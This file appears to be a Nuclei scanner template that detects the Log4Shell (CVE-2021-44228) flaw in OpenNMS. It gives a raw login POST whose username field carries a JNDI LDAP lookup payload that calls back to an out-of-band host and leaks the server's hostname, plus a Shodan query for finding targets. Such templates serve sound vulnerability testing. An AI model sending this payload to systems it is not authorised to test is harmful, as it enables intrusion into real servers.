nuclei-templates/http/vulnerabilities/other/opennms-log4j-jndi-rce.yaml

65 lines
2.3 KiB
YAML
Raw Normal View History

2022-07-14 13:31:10 +00:00
id: opennms-log4j-jndi-rce
info:
name: OpenNMS - JNDI Remote Code Execution (Apache Log4j)
2022-07-14 13:31:10 +00:00
author: johnk3r
2022-07-15 10:16:29 +00:00
severity: critical
description: |
OpenNMS JNDI is susceptible to remote code execution via Apache Log4j 2.14.1 and before. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled.
2022-07-14 13:31:10 +00:00
reference:
- https://www.horizon3.ai/the-long-tail-of-log4shell-exploitation/
- https://www.opennms.com/en/blog/2021-12-10-opennms-products-affected-by-apache-log4j-vulnerability-cve-2021-44228/
2022-07-15 04:53:51 +00:00
- https://logging.apache.org/log4j/2.x/security.html
2022-07-15 10:16:29 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2021-44228
2022-07-14 13:31:10 +00:00
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10
2022-07-14 13:31:10 +00:00
cve-id: CVE-2021-44228
cwe-id: CWE-77
2022-07-14 14:18:13 +00:00
metadata:
max-request: 1
2022-07-14 14:18:13 +00:00
shodan-query: title:"OpenNMS Web Console"
2023-06-04 08:13:42 +00:00
verified: true
2022-10-12 09:27:53 +00:00
tags: jndi,log4j,rce,opennms,cve,cve2021,kev,oast
2023-05-03 18:46:17 +00:00
variables:
rand1: '{{rand_int(111, 999)}}'
rand2: '{{rand_int(111, 999)}}'
http:
2022-07-14 13:31:10 +00:00
- raw:
- |
POST /opennms/j_spring_security_check HTTP/1.1
Referer: {{RootURL}}/opennms/login.jsp
Content-Type: application/x-www-form-urlencoded
2023-05-03 18:46:17 +00:00
j_username=${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.postdata.{{interactsh-url}}}&j_password=password&Login=&j_usergroups=
2022-07-14 13:31:10 +00:00
matchers-condition: and
matchers:
- type: word
2023-07-16 13:32:52 +00:00
part: interactsh_protocol # Confirms the DNS Interaction
2022-07-14 13:31:10 +00:00
words:
- "dns"
- type: regex
part: interactsh_request
regex:
2023-07-16 13:32:52 +00:00
- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${:-{{rand1}}}${:-{{rand2}}}.${hostName} in output
2022-07-14 13:31:10 +00:00
extractors:
2022-07-15 04:53:51 +00:00
- type: kval
kval:
- interactsh_ip # Print remote interaction IP in output
2023-05-03 18:46:17 +00:00
- type: regex
group: 2
regex:
2023-07-16 13:32:52 +00:00
- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print injection point in output
part: interactsh_request
2023-05-03 18:46:17 +00:00
2022-07-14 13:31:10 +00:00
- type: regex
group: 1
regex:
2023-07-16 13:32:52 +00:00
- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${:-{{rand1}}}${:-{{rand2}}}.${hostName} in output
part: interactsh_request